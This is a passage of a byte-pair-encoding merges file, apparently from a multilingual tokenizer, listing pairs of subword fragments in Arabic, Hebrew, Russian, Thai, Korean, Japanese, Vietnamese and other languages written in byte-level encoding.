+ĠÙĥب ÙĬرة +ÑģÑĤ ал +ש×ŀ ×Ĺ +pos ición +ĠÙħÙĦÙĬ ÙĪÙĨ +ĠìĿ´ ìķ¼ +ĠìĿ´ìķ¼ ê¸° +Ġh út +ĠÅĽw iat +Ġë°© ë²ķ +ĠÑģв еÑĤ +Ġвиде о +ĠاÙĦÙĨ ظاÙħ +Ġtr á»Ŀi +ĠëĮĢ íķ´ìĦľ +ר ×ŀת +ت داÙĪÙĦ +×ķר ×ĵ +ת ×ŀ +ת×ŀ ×ķ׳×ķת +Ġ×ŀ ף +Ġдв а +Ġ×Ķ×§ ×ķ +æĹ¥ ãģ« +Ġ×Ķ×Ĵ ×Ļ×¢ +à¹Ģà¸ŀิà¹Īม à¹Ģà¸ķิม +Ùħار س +Ġê²ĥ ìŀħëĭĪëĭ¤ +ãģªãģĦ ãģ¨ +Ġnhi á»ĩt +ëIJ ©ëĭĪëĭ¤ +Ġ×ij׳ ×ķש×IJ +Ġê°Ģ ìŀ¥ +Ġv ợ +ĠÄij óng +צ×Ļ׾ ×ķ×Ŀ +ê´Ģ ê³Ħ +в аÑı +×IJ ×Ļ×ĸ +×IJ×Ļ×ĸ ×Ķ +ĠÙĨ ظاÙħ +ÙħØŃ اÙ쨏 +Ġt ải +기 ëıĦ +à¸Ľà¸±à¸Ī à¸Īุ +à¸Ľà¸±à¸Īà¸Īุ à¸ļัà¸Ļ +׼ ×ĵ×ķר +ĠìķĦ ìĿ´ +׼׳ ×Ļס +à¹Ģ à¸ķร +à¹Ģà¸ķร ียม +Ġngo ại +ĠدÙĪÙĦ ار +Ġr ẻ +Ġkh Äĥn +عد د +Ø´ عب +czy Äĩ +ĠاÙĦ Ùĥر +ĠÑĩеловек а +ĠÙĪ Ø¥ÙĨ +×IJ ×ĺ +Ġth Æ¡ +ĠاÙĦ رÙĬاض +оп ÑĢедел +опÑĢедел ен +×Ķ ×ŀש×ļ +ĠÐĿ ово +з Ñĭва +ĠاÙĦدÙĪÙĦ ÙĬ +ĠÄij áp +Ġк ÑĢед +ĠкÑĢед иÑĤ +ов ого +Ġm ôn +à¸Ľà¸£à¸° à¹Ĥย +à¸Ľà¸£à¸°à¹Ĥย à¸Ĭà¸Ļ +à¸Ľà¸£à¸°à¹Ĥยà¸Ĭà¸Ļ à¹Į +ÑģÑĤ е +ĠTh á»ĭ +د ÙĬØ© +×ŀצ ×ķ +Ùģ Ø§Øª +×§ ×ĵ×Ŀ +ìĿ´ëĿ¼ ê³ł +ÙĪ Ø® +Ġ×Ĺ ×ĸ +ĠÑĦоÑĤ о +׾ ×Ļת +ت Ùİ +ÙĪ Ø¨Ø± +й ÑĤи +ĠÃ¶ÄŁ ren +Ġ×Ķ×ĸ ×ķ +Ġv á»įng +ÙĤÙĪ Ø© +ĠT ây +ĠÐĿ и +Ġש ×ķ×ij +ãģ¨è¨Ģ ãĤıãĤĮ +ãģ© ãĤĵãģª +׊צ×Ļ +ï½ ľ +Ġ×ķ×Ķ ×ķ×IJ +ä¸Ģ ãģ¤ +ĠÑģÑĤо иÑĤ +ni Äħ +×ĺר ×Ļ +ĠдеÑĤ ей +нÑı ÑĤÑĮ +ĠÑģдел аÑĤÑĮ +Ġë§İ ìĿ´ +ä½ķ ãģĭ +ãģĽ ãĤĭ +à¹Ħ หม +à¸ķิà¸Ķ à¸ķà¹Īà¸Ń +Ġ×ij ת×Ĺ +Ġ×ijת×Ĺ ×ķ×Ŀ +ìĻ Ħ +ì§Ģ ëĬĶ +ÑģÑĤ аÑĤ +ÑıÑģ н +ü b +Ġth ả +Ġ×ij×IJ×ŀ ת +Ġt uyến +×ĵ ×Ļר×Ķ +Ġ×IJ ×Ļש×Ļ +×ĸ׼ ר +ãģ° ãģĭãĤĬ +Ġx ét +׼ ×Ļ×ķ +׼×Ļ×ķ ×ķף +diÄŁ ini +ĠاÙĦÙħ ÙĪØ¶ÙĪØ¹ +Ġh áºŃu +à¸Īาà¸ģ à¸ģาร +×ijס ×Ļס +Ġ×ŀ×Ĵ ×Ļ×¢ +×ij ×Ļ×¢ +ĠÙĪ Ø¬Ùĩ +à¹ģà¸Ķ à¸ĩ +à¸Ļ าà¸ĩ +ĠÅŀ a +ì ¡´ +ë¡ Ģ +à¸ķ ะ +Ġ×Ķ×Ĺ×Ļ ×Ļ×Ŀ +Ùģ ÙĬد +ãģ§ãģĻ ãģĭãĤī +ê· ľ +ź ni +ĠлÑİ Ð´ÐµÐ¹ +Ġyüz de +ıy orum +ĠاÙĦ بØŃر +e ño +п аÑĢ +ÙĬ ÙĤØ© +об ÑĢ +ר ×ķ×ļ +ت ÙĪÙĤع +ĠاÙĦØ´ ÙĬØ® +åĪĿ ãĤģãģ¦ +ĠÑĤ елеÑĦ +ĠÑĤелеÑĦ он +Ġth ôi +Ġ×Ļ׼×ķ׾ ×Ļ×Ŀ +ĠÅŁ irk +ĠÅŁirk et +Ġìļ°ë¦¬ ê°Ģ +ĠÄij ông +Ġת ×ķ×ĵ×Ķ +ÑģмоÑĤÑĢ ÐµÑĤÑĮ +ĠÙĦ ÙĩÙħ +Ġ׾ ׼ +ĠN ó +ĠØŃ اÙĦØ© +ãģĦ ãģij +קר ×ķ +az ı +ãĤ³ ãĥ¼ +ĠÙĦÙĦ ت +s ınız +ĠH ải +기 ìĪł +ยัà¸ĩ à¹Ħมà¹Ī +ëĭ¤ ê³ł +פ ×Ĺ +Ġ׾×Ĵ ×ij×Ļ +Ġع ÙĨÙĩ +Ġк аз +Ġказ ино +ب ÙĪØ± +ÑĦ еÑĢ +Ġê°Ļ ìĿ´ +تس جÙĬÙĦ +ĠاÙĦÙħ رÙĥز +ĠTh ái +д аÑĤÑĮ +×ŀ×Ļ ×Ļ׾ +Ġpay laÅŁ +ãģ¤ ãģ® +à¹Ģร ืà¸Ń +n ça +׳ ×ķ×Ĺ +Ġ×IJ פ×Ļ׾×ķ +ãģ¨ èĢĥãģĪ +ãģ¨ãģĹãģ¦ ãģ¯ +à¹Ģà¸Ī à¸Ń +×ŀ פ +Ġg iriÅŁ +л иÑĤ +ÑĤ елÑı +Ñij н +æ°Ĺ ãģ« +Ġg ó +Ġgó p +åĪĩ ãĤĬ +Ġ×Ķ ×Ĺ×ĵש +ж ал +Ġ×ĵ עת +éģķ ãģĨ +à¹Ģà¸Ĥà¹īา à¹Ħà¸Ľ +Ġס ר×ĺ +e ña +æĸ° ãģĹãģĦ +ر Ùİ +ĠÐIJ ÑĢ +Ġph ản +à¸Īะ à¹Ħà¸Ķà¹ī +Ġ×ijצ ×ķר×Ķ +Ø´ اÙĩ +شاÙĩ د +ÙĪØ± د +à¹Ģà¸Ļืà¹Īà¸Ńà¸ĩ à¸Īาà¸ģ +или ÑģÑĮ +à¹ģละ à¸ģาร +Ġ×Ķ ×ĸ׼ +Ġ×Ķ×ĸ׼ ×ķ×Ļ×ķת +ei ÃŁ +ãĥ ¨ +ìĥ Ī +ĠÃĩ a +Æ ¯ +ש ×Ĵ +ÙĬÙĨ Ø© +ร à¹īà¸Ńà¸ĩ +ãĤµ ãĥ³ +ÑĢоÑģÑģ ий +ÑĢоÑģÑģий Ñģк +a ÄŁa +ĠнаÑĩ ина +Ġص ÙĦÙī +à¸Ĺุà¸ģ à¸Ħà¸Ļ +íļĮ ìĤ¬ +Ġли ÑĨ +Ø´ ÙĬر +ĠØ´ÙĬ Ø¡ +ÙĬÙĨ ا +Ġפ ×Ĺ×ķת +Ġiçer is +Ġiçeris inde +ĠØ£ ØŃÙħد +Ġże by +ì´ Ŀ +Ġп оказ +Ġи менно +หà¸Ļัà¸ĩ ส +หà¸Ļัà¸ĩส ืà¸Ń +ĠÑĤÑĢ Ðµ +สัà¸ĩ à¸Ħม +Ø¥ ÙIJ +ãģĮ å¿ħè¦ģ +ÙĬÙij Ø© +פ צ +íĭ ° +ĠÙħ جاÙĦ +׳ פש +к ан +×Ĺ ×ķפ +×Ĺ×ķפ ש +ì²ĺ ëŁ¼ +ов аÑı +з ов +Ġh ạ +Ġdzi ÄĻki +×Ļר ×ķ +Ġ׾ ×ŀצ +Ġ׾×ŀצ ×ķ×IJ +×Ļ×ĵ ×ķ +Ġs ợ +Ġ׾×Ķ ×Ĵ×Ļ×¢ +×§ ×ij×¢ +Ġchi á»ģu +ãĥŀ ãĤ¤ +Ġd Ãłng +à¹ģà¸Ł à¸Ļ +Ġü ye +×Ļ׳ ×Ĵ +à¹Ģรีย à¸ģ +ç§ģ ãģĮ +th é +ĠÑĦ илÑĮ +ĠÑĦилÑĮ м +ĠNg Ãły +Ġж ен +Ġжен Ñīин +ج ÙĬد +n ç +à¸Ľ รา +×Ļ×ŀ ×ķ +Ġn á»ģn +×IJ ×ķ׾×Ŀ +Ġвозмож ноÑģÑĤÑĮ +Ġëĭ¤ ìĭľ +è¦ĭ ãģŁ +à¸ĸ à¸Ļ +à¸ĸà¸Ļ à¸Ļ +mız ı +ĠÙħ جÙħÙĪØ¹Ø© +c jÄħ +ĠÐł Ф +à¸ģำ หà¸Ļ +à¸ģำหà¸Ļ à¸Ķ +ĠìŬ 기 +land ı +ни ÑĨ +ÑģÑĤв е +Ġ×ĵ ×ijר×Ļ×Ŀ +Ġsk ÅĤad +ãĤĬ ãģ¾ãģĹãģŁ +ĠоÑĤ кÑĢÑĭÑĤ +нÑı ÑĤ +ĠÑģво ей +à¸Ī ิà¸ķ +ĠкаÑĩеÑģÑĤв е +Ġet tiÄŁi +ìĤ¬ íķŃ +ĠاÙĦÙĬ ÙħÙĨ +иÑĩеÑģки й +ë¸ Į +Ġ×ij×IJר ×¥ +Ġا سÙħ +Ġиз веÑģÑĤ +r ão +Ġatt ivitÃł +à¹Ģà¸Ľà¹ĩà¸Ļ à¸ģาร +ĠاÙĦد Ùĥت +ĠاÙĦدÙĥت ÙĪØ± +ĠÙĪØ§ØŃد Ø© +ĠÑģ ÑĩеÑĤ +ĠпÑĢ Ð¸Ñĩ +ĠпÑĢиÑĩ ин +ĠÙĪØ² ارة +Ġh uyá»ĩn +ĠÙĥ تاب +à¹ģà¸Ļ à¹Īà¸Ļ +à¹ģà¸Ļà¹Īà¸Ļ à¸Ńà¸Ļ +Ġgün ü +г ÑĢÑĥз +ĠاÙĦØ® اص +Ġgör ül +׾ ×ŀ×ĵ +Ġìłķ ëıĦ +×ķ×ij ×Ļ׾ +Ġ×ŀ×§ צ×ķ×¢×Ļ +ĠоÑģоб енно +à¸Ľà¸£à¸° à¸ģา +à¸Ľà¸£à¸°à¸ģา ศ +aca ģını +ë¶ ģ +à¸łà¸¹ มิ +ĠÑį лекÑĤ +ĠÑįлекÑĤ ÑĢо +Ġ×§ ש×Ķ +سÙĦ Ø· +à¸Ĭà¸Ļ ะ +×¢ ×Ļ׾ +ĠЧ е +à¹ģà¸Ļ à¹Ī +lı ÄŁ +lıģ ın +Ġ×ŀ×¢ ×¨×Ľ×ª +好ãģį ãģª +มาà¸ģ à¸Ĥึà¹īà¸Ļ +×ŀ×¢ ×ijר +ĠاÙĦÙħ غرب +ĠпеÑĢ Ð¸ +ĠпеÑĢи од +Ġnh ạc +ا ÙĪÙĬ +ĠÙĪ Ø¹ÙĦÙī +أخ ذ +ĠC ô +תר ×ij×ķת +×Ĵ ×Ķ +Ġktóre j +×IJ ×Ļת +×ij ×ķ×IJ +д елÑĮ +รี วิ +รีวิ ว +ж Ñĥ +Ġ×ij×Ĺ ×ķ +еÑĪ ÑĮ +ĠØ£ ÙĦÙģ +ĠاÙĦÙĪ Ø·ÙĨÙĬ +ĠاÙĦÙħÙĨ Ø·ÙĤØ© +nÄħ Äĩ +Ġthi ên +иÑĩеÑģк ой +ĠاÙĦÙħ ÙĦ +Ġع Ùħ +ס פר +Ġnh óm +ÙĪØµ Ùģ +ĠCh úng +Ġر ÙĤÙħ +ãģ¾ãģĹãģŁ ãģĮ +al ité +ล ม +ĠëĤ´ ê°Ģ +׾ק ×ķ×Ĺ +ĠS Æ¡n +pos ição +mi ÄĻ +Ġtr ánh +ĠÄIJ á»Ļ +׼ ×Ĺ +ãģĤ ãģ£ãģ¦ +à¸Ńย à¹Īา +Ġ×ŀ×Ĺ ×Ļר +Ġ×Ķ ×Ļת×Ķ +à¸Ľ à¹Īา +à¸Ńืà¹Īà¸Ļ à¹Ĩ +Ø´ ÙĤ +×ł×¡ ×Ļ +ë¦ ¼ +ãģ¦ãģĹãģ¾ ãģĨ +Ġ×ŀ צ×ij +ãģ« åĩº +ÙħÙĪØ§ Ø·ÙĨ +ยัà¸ĩ มี +алÑĮ нÑĭе +san ız +Ø¥ سرائÙĬÙĦ +ĠvÃł i +ì¤ Ħ +ã썿ĢĿ ãģ£ãģ¦ +×Ļ ×ķ׳×Ļ +çĶŁ ãģį +Ġs âu +Ñĩ иÑģÑĤ +Ġl á»ħ +ĠGi á +à¸Ńุ à¸Ľ +à¸Ńà¸¸à¸Ľ à¸ģร +à¸Ńà¸¸à¸Ľà¸ģร à¸ĵà¹Į +Ġnh ẹ +r ö +ס ×ĺ×Ļ +ãģķãĤĵ ãģĮ +Ġd ầu +ع Ùİ +ت را +×Ĵ×ĵ ׾ +Ġtécn ica +׼ ׳×Ļ×Ŀ +תק ש +תקש ×ķרת +Ġн его +ét ait +Ġm á»ģm +Ñģ еÑĤ +Ġnh áºŃt +Ġ×ŀ ×¢×ľ +Ġ×Ķ×¢ ×ij×ķ×ĵ +Ġ×Ķ×¢×ij×ķ×ĵ ×Ķ +Ġ×Ĵ ×Ļ׾ +ãģ¯ ãģªãģĦ +ائ ØŃ +Ġз деÑģÑĮ +×IJ ×Ļ׳×ĺר +Ùħ ÙIJ +Ġ×Ļ ×Ĺ×ĵ +ر اÙģ +ì²ĺ 리 +×ĵ ×¢×ķת +ì¹ ľ +ĠТ о +ĠTh ế +ì¶ © +Ġ׳׼ ×ķף +عÙĬ Ø´ +ни з +Ġج اÙĨب +×ŀ×§ צ×ķ×¢ +à¹Ĥ à¸ĭ +Ñģ ÑĥÑĤ +ìĸ´ ìļĶ +ãĤĴè¦ĭ ãģ¦ +ار د +Ġaç ıl +ĠاÙĦØŃ ÙĬاة +à¸ģà¹ĩ à¹Ħà¸Ķà¹ī +ãģĿãĤĮ ãĤĴ +عض ÙĪ +Ġг ÑĢаж +ĠгÑĢаж дан +à¸Īะ à¸ķà¹īà¸Ńà¸ĩ +ĠìĿ´ 룬 +ĠìĿ´ë٬ íķľ +Ġtr ách +ÙĨ Ùİ +Ġkı sa +Ã Ķ +ÑĪ ÐºÐ° +ãģ® äºº +ĠÐŁ оÑģ +ĠÐŁÐ¾Ñģ ле +Ñĥ лÑĮ +ÙĪØ§ جÙĩ +ÙĤ رب +à¸Ľà¸ıิ à¸ļัà¸ķิ +ê° Ļ +Ġ×ŀ ׳ +ĠÑģво и +بر اÙħج +Ġر ÙĪ +пÑĢ Ð¾Ð´ +пÑĢод аж +Ġby ÅĤy +วั ย +Ġgör ün +ĠÃ Ī +ÑİÑī им +ĠÑĤак ой +Ùģ ÙĪØ± +ĠÙģ Ø¹ÙĦ +Ġб ел +ëIJ ł +er ÃŃa +ĠÑģво Ñİ +Ġl ã +Ġlã nh +à¹Ģà¸ŀืà¹Īà¸Ń à¹ĥหà¹ī +ÙĤ ÙĨ +تط ÙĪÙĬر +Ġsay ı +ĠÑģ ейÑĩаÑģ +Ġ×IJ×Ĺר ת +×§ ×ķפ×Ķ +×§×ķר ס +Ġس Ùħ +Ġ×ĺ ×Ļפ×ķ׾ +ìĿ´ëĿ¼ ëĬĶ +دراس Ø© +èµ· ãģĵ +×Ĺ ×Ļ׳ +×Ĺ×Ļ׳ ×ķ×ļ +×ĵ ×§ +Ġë§ ŀ +Ġком анд +ĠÐij о +Ġиг ÑĢÑĭ +à¸ļ ี +ĠØ£ Ùİ +в ен +ĠاÙĦج دÙĬد +ĠÙĦ Ø¥ +Ġ×ķ×IJ ׳×Ļ +Ġ×Ķס ×Ļ +иÑĩеÑģк ого +رÙĪ ØŃ +à¸ģาร ศึà¸ģษา +ĠTr ưá»Ŀng +иг ÑĢа +ıl ması +Ġм аÑģÑģ +ãģ¨ãģį ãģ« +à¸Ĺีà¹Ī à¸ľà¹Īาà¸Ļ +à¸Ĺีà¹Īà¸ľà¹Īาà¸Ļ มา +ĠاÙĦساب ÙĤ +Ġ×ŀ×¢ ×ĺ +в аÑĤÑĮ +m Ã¼ÅŁ +Ġ׾ ׼×ļ +Ġt á»ĭch +Ùģ ÙĩÙħ +تد رÙĬب +Ø´ Ùĥ +Ġ×ij ×ŀ×Ļ +Ġ×ij×ŀ×Ļ ×ķ×Ĺ×ĵ +ÙĤØ· اع +ãģª ãģĹ +×ķצ ×Ļ×IJ +ĠÙĪ Ø³ÙĬ +з Ñĥ +Ġy at +Ġyat ırım +ë§ İ +Ġth ắng +ãģĬ 客 +ãģĬ客 æ§ĺ +ĠThi ên +ãģ«å¯¾ ãģĹãģ¦ +ÑĢ Ð¸Ñģ +ÙĨت ائ +ÙĨتائ ج +Ġ×ŀ שר +Ġ×ŀשר ×ĵ +Ġتع اÙĦ +ĠتعاÙĦ Ùī +ש ׳×Ļ +Ùĩ اÙħ +×IJ׳ ש×Ļ×Ŀ +Ġżyc ia +ĠÑĢÑĥб лей +ÙĬ ض +Ġkat ıl +ĠÙħ ÙĪØ¶ÙĪØ¹ +Ġvard ır +ĠÙħÙĨ Ø·ÙĤØ© +ĠTr ần +Ġв еÑģ +ü p +Ùħ ÙĪÙĨ +ÑĪ Ð»Ð¸ +Ġn óng +Ø® ÙĦÙģ +ĠС ÑĤа +Ġд оÑĢ +ĠдоÑĢ Ð¾Ð³ +ĠwÅĤa ÅĽnie +eÄŁ in +Ġhi á»ĥm +ĠС ам +ê»ĺ ìĦľ +ĠÑĦ а +ãģ» ãģĨ +ãģ»ãģĨ ãģĮ +×ķפ ×Ļ×¢ +ê° Ī +د ÙĪÙĦ +Ġthu ê +Ġch á»Ĺ +Ġëĭ¹ ìĭł +ãģij ãĤĮ +ãģijãĤĮ ãģ© +ë³´ íĺ¸ +ãģķãĤĮ ãģ¦ãģĦãģ¾ãģĻ +Ġнад о +ĠìĤ¬ëŀĮ ëĵ¤ +à¹Ģà¸Ĥ à¸ķ +สม ัย +z ÅĤ +ت ÙĪØ± +Ġש ת×Ļ +v ê +Ġ×ijת ×ķ×ļ +à¸Ĭ ัย +ãģĦ ãģ£ãģŁ +ìĿ ij +Ġt ầ +Ġtầ ng +ש ׼ר +Ġê¸ Ģ +Ġ×Ķש ׳×Ķ +Ġا ÙĨÙĩ +ç«ĭ ãģ¡ +r és +füh ren +ر ØŃÙħ +ê· ¹ +ĠâĢ « +Ġsu ất +à¸Ł ิ +ÙĬ Ùĩا +ĠاÙĦ اتØŃاد +Ġt uyá»ĥn +ãģ¾ ãĤĭ +Ġm ại +Ġng ân +ãĤ° ãĥ© +欲 ãģĹãģĦ +س ار +ãĤĤãģ® ãģ§ãģĻ +ки е +Ġseç im +åħ¥ ãĤĬ +ãģªãģ© ãĤĴ +ÑĤ ÑĢи +ĠÑģп еÑĨ +ĠØ£ د +Ġод но +ÑĪ ÐµÐ» +ãĥĩ ãĥ¼ãĤ¿ +ãĤ· ãĤ¹ãĥĨ +ãĤ·ãĤ¹ãĥĨ ãĥł +è¡Į ãģį +ã썿ĢĿ ãģ£ãģŁ +à¹Ģà¸ģิà¸Ķ à¸Ĥึà¹īà¸Ļ +ĠÑĤ ож +ĠÑĤож е +Ġs ạch +ĠÑģ ÑĢок +Ġкли енÑĤ +ĠÙħØ´ رÙĪØ¹ +Ġalt ında +Ġì ·¨ +ä¸Ń ãģ® +ãģķãģĽ ãĤĭ +ãģĻ ãģ¹ +ãģĻãģ¹ ãģ¦ +ê°ľ ë°ľ +ĠÄij êm +ãģªãģĦ ãģ®ãģ§ +ì² ł +×¢ ×ij×ĵ +Ġd ấu +à¸Ħà¸Ļ à¸Ĺีà¹Ī +ĠC ách +تع ÙĦÙĬÙħ +Ġh ại +ãĤ» ãĥķãĥ¬ +ĠÙĨÙ쨳 Ùĩ +ĠíĨµ íķ´ +ÑĪ Ð»Ð¾ +Ġнап ÑĢав +ĠнапÑĢав лен +ÑĢÑĥ Ñĩ +íĶ Į +Ġ×ijר ×Ļ×IJ +ãģ® ãģ¿ +ãģ«ãģĬ ãģĦãģ¦ +×ij ׳ק +ãĤ¨ ãĥ³ +Ø«ÙĦ اث +Ġm ỹ +ĠÑģай ÑĤе +Ġе мÑĥ +ت غÙĬ +تغÙĬ ÙĬر +خص ÙĪØµ +ÑĤе ли +Ġ×ķ׾ ׼ף +פע ×Ŀ +Ġпо ÑįÑĤомÑĥ +ر اÙĨ +иÑĤел ей +пиÑģ ан +×¢ ×¥ +ĠìĤ¬ ìĹħ +Ùħ ز +جÙħ ÙĬع +ë©´ ìĦľ +à¸ľà¸¥à¸´à¸ķ à¸łà¸± +à¸ľà¸¥à¸´à¸ķà¸łà¸± à¸ĵ +à¸ľà¸¥à¸´à¸ķà¸łà¸±à¸ĵ à¸ij +à¸ľà¸¥à¸´à¸ķà¸łà¸±à¸ĵà¸ij à¹Į +ĠпÑĢ Ð¸Ð¼ÐµÑĢ +ãĤŃ ãĥ¼ +l â +Ġch Äĥm +缮 ãģ® +ãģĦ ãģĭ +ãģ¨è¨Ģ ãģĨ +×ĸ ×ķ×Ĵ +Ġ×ij ×ĵ×Ļ +Ġ×ij×ĵ×Ļ ×ķ×§ +ãģĬ åºĹ +à¸ķà¸Ńà¸Ļ à¸Ļีà¹ī +Ġph á»iji +п ÑĤ +สà¸Ļ าม +Ø· ÙĪ +ص اØŃ +صاØŃ ب +ĠD ü +ĠDü nya +Ġп ока +п ал +ĠÄij ảo +ĠاÙĦÙģ ÙĪØ± +ĠاÙĦÙģÙĪØ± Ùĥس +Ġmá u +кÑĢ ÐµÐ¿ +ĠاÙĦس اعة +ĠгоÑĢ Ð¾Ð´Ð° +Ùģ ØµÙĦ +ай ÑĤе +Ġд ог +Ġдог овоÑĢ +ĠØ¥ ذ +Ġ×ij׼׾ ׾ +ÙĬ تÙĩ +×Ĵ ×ijר +Ġbir ç +Ġbirç ok +문 íĻĶ +ãģĿãģĨ ãģª +را ØŃ +ĠÙħ رة +ĠденÑĮ ги +f ä +à¸Ĥà¹īา ว +ĠÑģов ÑĢем +ĠÑģовÑĢем енн +׾×Ĺ ×¥ +èī¯ ãģı +ĠÙģ Ø£ +Ġ×ķ ×ĸ×Ķ +Ġз ани +Ġзани ма +Ġê°Ģì§Ģ ê³ł +Ġh Æ¡i +ãģªãģ® ãģĭ +ãĥĨ ãĥ¬ãĥĵ +Ġר ×ij×ķת +à¸ķ ี +Ġ×ijש ×ł×ª +ĠT ại +Ġthu áºŃn +Ñģ ел +Ñij м +dzi Äĩ +ĠÑģ ка +ĠÑģка Ñĩ +ĠÑģкаÑĩ аÑĤÑĮ +×ķ×ŀ ×ķ +г ла +Ġмин ÑĥÑĤ +åĩº ãģĻ +Ġ×Ĺ×Ļ ×Ļ×ij +Ġת ×Ĵ×ķ×ij×Ķ +à¸£à¸¹à¸Ľ à¹ģà¸ļà¸ļ +ни ÑĨа +Ġİ n +ĠØ£ ع +Ġض ÙħÙĨ +Ùħ ثاÙĦ +ĠyaÅŁ an +ĠìŰ 구 +ĠL ê +ש׾ ×Ĺ +ãģı ãģªãĤĭ +ìĹĨ ìĿ´ +ĠÑĤ ÑĢи +ĠÑĩаÑģÑĤ о +Ġоб ÑĢаÑĤ +п ло +د Ø® +دخ ÙĪÙĦ +س Ùĩ +à¸Ń าà¸ģ +à¸Ńาà¸ģ าศ +Ġ׼ ×ĸ×Ķ +Ġ×Ķ×¢ סק +ĠاÙĦØ£ ÙĨ +å¹´ ãģ« +×¢ ש×ķ +Ġש ×¢×ķת +Ġm Ãłn +×IJר ×Ļ +sı yla +Ù쨱 ÙĤ +ни Ñħ +Ġت ست +è¦ĭ ãģ¦ +ØŃا ÙĪÙĦ +×IJ ×Ļ׼×ķת +ĠbaÅŁ ladı +st Äħ +stÄħ pi +à¸Ĺีà¹Ī à¹Ģรา +ÙĤر ر +ج اب +Ġ×ijר ×ķר +à¹Ģà¸Ĥà¹īา à¹ĥà¸Ī +×ŀ׊קר +al ım +Ġס ×Ļפ×ķר +ãģ§ãģĤ ãĤĮãģ° +Ġש×ŀ ×ķר×ķת +Ġ×ķ ×ŀ×Ķ +ãģĵ ãģĿ +id ée +ä¸ĭ ãģķãģĦ +تÙĨا ÙĪÙĦ +Ġ ลà¹īาà¸Ļ +Ġìļ°ë¦¬ ëĬĶ +اÙĨ ا +ÑģÑĤ ой +б оÑĤ +ĠyaÅŁ am +kö y +Ø¥ ÙĦ +ÑĢ Ñĭв +기 ìĹħ +Ġ×Ķ×ŀ ×ĵ +Ġ×Ķ×ŀ×ĵ ×Ļ׳×Ķ +د ب +×¢ ×Ļ׳×Ļ +×ŀ ת×Ĺ +Ġפ ר×Ļ +ãĥĭ ãĥ¼ +اÙħ ÙĬ +Ġnh ằm +ãĤĮ ãģªãģĦ +ت عرÙģ +Ġë§Ī ìĿĮ +ìĵ ° +Ġh ấp +ר×Ĵ ×Ļ׾ +ب Ùİ +Ġr Äĥng +gl Äħd +ĠÑģиÑģÑĤем Ñĭ +Ġkh óa +ãģ§ãģĻ ãĤĪãģŃ +大ãģį ãģı +기 를 +Ġké o +ÙĪ Ø¡ +ج اÙħ +جاÙħ ع +Ġ×¢ ×Ļצ×ķ×ij +t éri +Ġת ש +Ġ×IJ ×ij×Ļ +ĠCh ương +à¸ļริ à¹Ģว +à¸ļริà¹Ģว à¸ĵ +ãģ¤ ãģı +Ġ×Ĺ ×ķ׾ +עת ×Ļ×ĵ +ש ×Ļ×ŀ×Ķ +ëĤ ¨ +Ġש×IJ ×Ļף +ĠÙĪØ§ÙĦ Ø¥ +ÑĦ а +Ġkh ám +Ġ×ĺ ×ķ×ij×Ķ +ĠвÑĭ Ñģ +ĠвÑĭÑģ око +ĠاÙĦØŃ دÙĬØ« +人 ãĤĤ +d Ã¼ÄŁÃ¼ +×Ļ×Ĺ ×ķ×ĵ +تع ÙĦÙĬ +تعÙĦÙĬ ÙĤ +l ö +تØŃ دÙĬد +н его +ĠÑĥд об +Ġ׾ ×ŀ×Ļ +Ġר ×ķצ×Ļ×Ŀ +Ġج اء +Ġ×ij ×ĸ×ŀף +à¸Ľà¸ģ à¸ķิ +é«ĺ ãģı +à¸Ľà¸¥ า +Ġart ık +Ġbug ün +×§ ׳×Ļ +Ġkho á +ĠÙħ رÙĥز +ĠìŀIJ 기 +در جة +×ŀש ר×ĵ +Ġgi ấy +Ġch óng +×§ פ +ÙĬب Ø© +ĠczÄĻ sto +в али +Ùĥ ب +ìŁ ģ +ส à¸ļาย +à¸Ľà¸£à¸°à¸Ĭา à¸Ĭà¸Ļ +×Ĵ ×ķ×£ +ëŁ ī +ãģ® ãģĵãģ¨ +ล à¸Ń +Ġngh á»ī +åŃIJ ãģ© +åŃIJãģ© ãĤĤ +à¹Ħà¸Ķ à¹īà¸Ńย +à¹Ħà¸Ķà¹īà¸Ńย à¹Īาà¸ĩ +×ĵ ×¢ +ĠاÙĦت Ùī +ĠÑģов еÑĤ +Ġqual itÃł +åĩº ãģĹ +ĠÑĢÑĥк ов +ĠÑĢÑĥков од +ราย ละà¹Ģà¸Ńียà¸Ķ +ãģªãģĭ ãģªãģĭ +기 ê´Ģ +Ġ×Ĺ ×ķש +Ġ×Ĺ×ķש ×ij +л оÑĤ +à¸Ļะ à¸Ħรัà¸ļ +×§×ij ×ķצ×Ķ +Ġth ái +Ġש ×ij×Ķ +ĠÑĪ ÐºÐ¾Ð» +ĠÙĦ ÙĥÙĦ +à¹ĥà¸Ļ à¸Ĭà¹Īวà¸ĩ +ĠÙħ ÙĥاÙĨ +ë ķĮ +Ġc ải +ĠCh ÃŃ +ÑĥÑĩ а +ìĿ µ +Ġx ảy +à¸Ĭà¸Ļ ิà¸Ķ +Ġc áºŃu +к ÑĢов +ss é +ĠÙĨ ÙĪØ¹ +ĠТ а +Ø® Ùħس +פ×ķס ×ĺ +Ġm ắc +ĠÄij em +à¸ģาร à¹ĥà¸Ĭà¹ī +ר ×ķס +ĠÐĽ е +Ġth á»Ń +รà¹Īาà¸ĩ à¸ģาย +üz ü +æĹ¥æľ¬ ãģ® +ê³¼ ìłķ +ש ×Ļ×IJ +ĠìŀĪ ê³ł +×ij ×ķ׾ +ìķ ħ +ĠÙĪØ§ÙĦ ا +ĠÐĽ и +ĠвÑģ Ñij +Ġużytk ow +×Ĺ ×ķ׾ +ر Ù쨶 +Ġson uç +ãģĦ ãģ¾ãģĽãĤĵ +ìĤ¬ ìĹħ +ëĪ Ħ +ÑĤ ек +Ġud ziaÅĤ +л ез +Ġ×Ķ×Ļ ×Ļת×Ļ +ãĤīãĤĮ ãģ¦ +Ùħس ؤÙĪÙĦ +ر ار +ÑĤ ан +ĠÄij Ãło +Ġר ×ķ×ij +Ġ×ijש×ij ×Ļ׾ +ä»ĬåĽŀ ãģ¯ +ãĤ¸ ãĥ¥ +Ġ×¢ ×ijר +ãģĽ ãģ¦ +п олÑĮ +ak lı +Ġk ÃŃnh +د ت +лож ение +ĠاÙĦÙħ ص +ĠاÙĦÙħص رÙĬ +à¸Īริà¸ĩ à¹Ĩ +ĠاÙĦشر ÙĥØ© +ĠÄij á»ı +ãĥĽ ãĥĨ +ãĥĽãĥĨ ãĥ« +Ñį кон +Ñįкон ом +ĠÙĪ Ø¹ÙĨ +Ġת ׳ +Ġ×ª×ł ×IJ×Ļ +ĠاÙĦدÙĪÙĦ ÙĬØ© +Ġì§Ģ ìĹŃ +ãģ§ãģĻ ãģĭ +Ġв аÑĢи +ĠваÑĢи анÑĤ +ĠاÙĦع رب +ел а 